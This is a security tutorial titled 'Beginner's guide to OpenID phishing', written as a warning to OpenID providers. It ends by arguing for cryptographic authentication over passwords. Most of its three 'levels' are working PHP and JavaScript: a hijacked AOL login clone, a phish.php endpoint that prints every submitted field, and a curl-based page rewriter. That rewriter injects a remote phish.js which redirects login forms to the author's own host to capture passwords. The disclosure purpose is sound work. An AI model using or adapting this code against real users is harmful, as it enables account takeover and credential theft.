Beginner's guide to OpenID phishing

OpenID is a web-based, distributed authentication protocol set to become a standard way of signing in to websites. OpenID enables you to keep control over your own identity by separating identity 'providers' and 'consumers'. You register your 'identity' or 'account' at a single OpenID provider and then you have instant access to a vast array of service providers that are OpenID consumers. However, OpenID is also highly susceptible to phishing attacks in the way it is currently used. We will demonstrate how to do a very simple phishing attack that already works for most OpenID providers. We will also give some possible (non-)solutions to the problem.

OpenID phishing vulnerability

Phishing is a very blunt form of what is known in security as a man-in-the-middle attack. The general idea is to impersonate a website with the intent to steal important information from users. Phishing sites are distinguishable only by the hostname in the URL. For years life has been tough for these hard working phishermen as users consistently refused to swim into their nets for no apparent reason. Meanwhile redirecting users away from the amazon.com into the phisher's nets was not an easy task. Occasionally the phishermen got lucky, but the reward was often no bigger than access to a few forum accounts.

Fortunately for the phishermen there's a new phish in town and it is big and easy to catch. A single OpenID may be used for hundreds of websites. This alone makes OpenID more vulnerable as losing one password means you've lost them all. Moreover, each of those OpenID enabled websites is able to trick the user into giving away her password.

Prior note

This document is targeted at OpenID providers and OpenID users. We condemn phishing of any form and are only interested in making providers realize how easy it is to do phishing attacks on OpenID accounts unless proper counter-measures are taken.

Requirements

Requirements for using the code samples:

To phish for OpenID passwords we first need to become an OpenID Consumer.


Level 1 OpenID phishing

Level 1 phishing is the impersonation of a single, static, and well-known login page. Although this is a rather dull form of phishing, it is actually the form most developers think of and try to protect against.

We will choose biggest OpenID provider available: AOL. We expect most of our future OpenID visitors will come from AOL. Fortunately for us AOL has a conveniently simple Login procedure. We are going to filter out all AOL users an display them a hijacked login form. The other users will go through their normal login procedure.

If you enter your AOL OpenID in the form below you will be directed to your well-known AOL login form, but chances are it's not quite the login form you think it is. If you do not have an AOL account you can use openid.aol.com/johnsmith (sorry John).

OpenID login

Start by saving the AOL login page as aol.php and the stylesheet as aol.css (AOL prevents hotlinking the stylesheet). Change the form to point to your yet to be made phishing end-point (net). You might want to make other improvements such as setting the Screen Name using PHP and fixing some styling. I've quickly put this together for demonstrational purposes.

The code we used to create this phishing attack is directly taken from the examples provided with PHP OpenID. After copying the php files in PHP-openid-1.2.1/examples/consumer/ to your webhost Open try_auth.php and look for this snippet: if(empty($_GET['openid_url'])) { $error = "Expected an OpenID URL."; include 'index.php'; exit(0); } Replace it with the following: if(empty($_GET['openid_url'])) { $error = "Expected an OpenID URL."; include 'index.php'; exit(0); } if(strstr($_GET['openid_url'], "openid.aol.com")) { include 'aol.php'; exit(0); } Note that you can also add other well-known openid providers here.

Finally you need an end-point for the login procedure. We've called it phish.php. See for yourself what to do with this, the innocent code we use is displayed below. <p> We have extracted the following information: </p> <pre> <?php foreach($_GET as $key => $value) { echo "$key = $value\n"; } foreach($_POST as $key => $value) { echo "$key = $value\n"; } ?> </pre> That is all. Users are now able to log in at index.php and you can sit back and wait for unsuspecting AOL users give away their passwords.


Level 2 OpenID phishing

One of the nice things about OpenID is that every user can have her own login procedure. Sadly this doesn't provide one bit of phishing protection as users tell exactly which webpage needs to be impersonated. When a user enters her identity we'll download her login form from her OpenID provider, modify it, display it to the user, and wait for the user to enter her password.

If you enter your OpenID in the form below you will be directed to your well-known login form, but chances are it's not quite the login form you think it is. The current attack is very simple, if your provider is not susceptible you can use one we used for testing: marcoslot.myopenid.com

OpenID login

The code we used to create this phishing attack is directly taken from the examples provided with PHP OpenID. After copying the php files in PHP-openid-1.2.1/examples/consumer/ to your webhost open try_auth.php and replace the last line: header("Location: ".$redirect_url); with //header("Location: ".$redirect_url); $phishjs = "http://openid.marcoslot.net/phish.js"; // change to your host $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $redirect_url); curl_setopt($ch, CURLOPT_HEADER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt'); curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt'); $data = curl_exec($ch); curl_close($ch); $data = preg_replace("/<\/body>/i", "<script type=\"text/javascript\" src=\"$phishjs\"></script></body>", $data); echo $data; The preg_replace step injects a yet to be made javascript file into the webpage to modify its behaviour. You should change the value of $phishjs to point to your webhost. Some extensions are possible here, such as impersonating providers that use HTTP Authentication (e.g. phpMyID).

phish.js looks as follows: alert("Warning: This login form is compromised! \nDo not enter your real password!"); var forms = document.getElementsByTagName("form"); for(i = 0; i < forms.length; i++) { forms[i].setAttribute("method", "get"); forms[i].setAttribute("action", "http://openid.marcoslot.net/phish.php"); } Naturally the alert box can be dropped. The action attribute should be pointed towards your evil password stealing script. These 5 lines of code are enough for most OpenID providers, but extensions are possible here. For example taking all textbox values and sending them using AJAX, or removing phishing warnings.

Finally you need an end-point for the login procedure. We reuse phish.php from level 1. You are now done and ready to sit back and see how easily users will give away their universal password.


Level 3 OpenID phishing

Level 1 and 2 are simple and effective, but providers can still protect against specific attacks and users can (but won't) install phishing protection plugins. Lets go one step further.

At Level 3 we simply cut the provider out of the game. For a moment, consider how users think of authentication. In 99.99% of all cases they will think of entering a username and a password. Then how will grandma respond to the following little box once you have given her OpenID?

OpenID login

You won't fall for it. You only came here because you know what phishing is and you probably know how OpenID authentication works. However the average Joe, given a good lure, is likely to fall right into this horrible trap against which can resist any form of phishing protection.


We've now seen how vulnerable OpenID is to phishing, now how to counter it?

Non-solutions

Our Level 3 attack actually demonstrates a very important thing. There is only one way of solving OpenID phishing: Drop password authentication. Passwords no longer work in a distributed authentication system. Passwords are a shared secret between two parties, the service provider and the service consumer. With only 2 parties involved in the system your password could 'never' go the wrong way (lets not get into real network security issues). With OpenID there may be thousands of parties involved and you simply can't afford to send your shared secret in the open. Anything a user sends should be completely useless to the evil OpenID consumer without having the secret information of the provider.

Solutions

To do authentication having a secret that only you could have is of vital importance. As a consequence, so is keeping it secret. Passwords should not be sent, but used only to determine what to send. In short, we need cryptography.

Further reading

Author

Marco Slot. A Computer Science student from the Netherlands currently doing a Master's in Parallel and Distributed Computer Systems at the Vrije Universiteit in Amsterdam.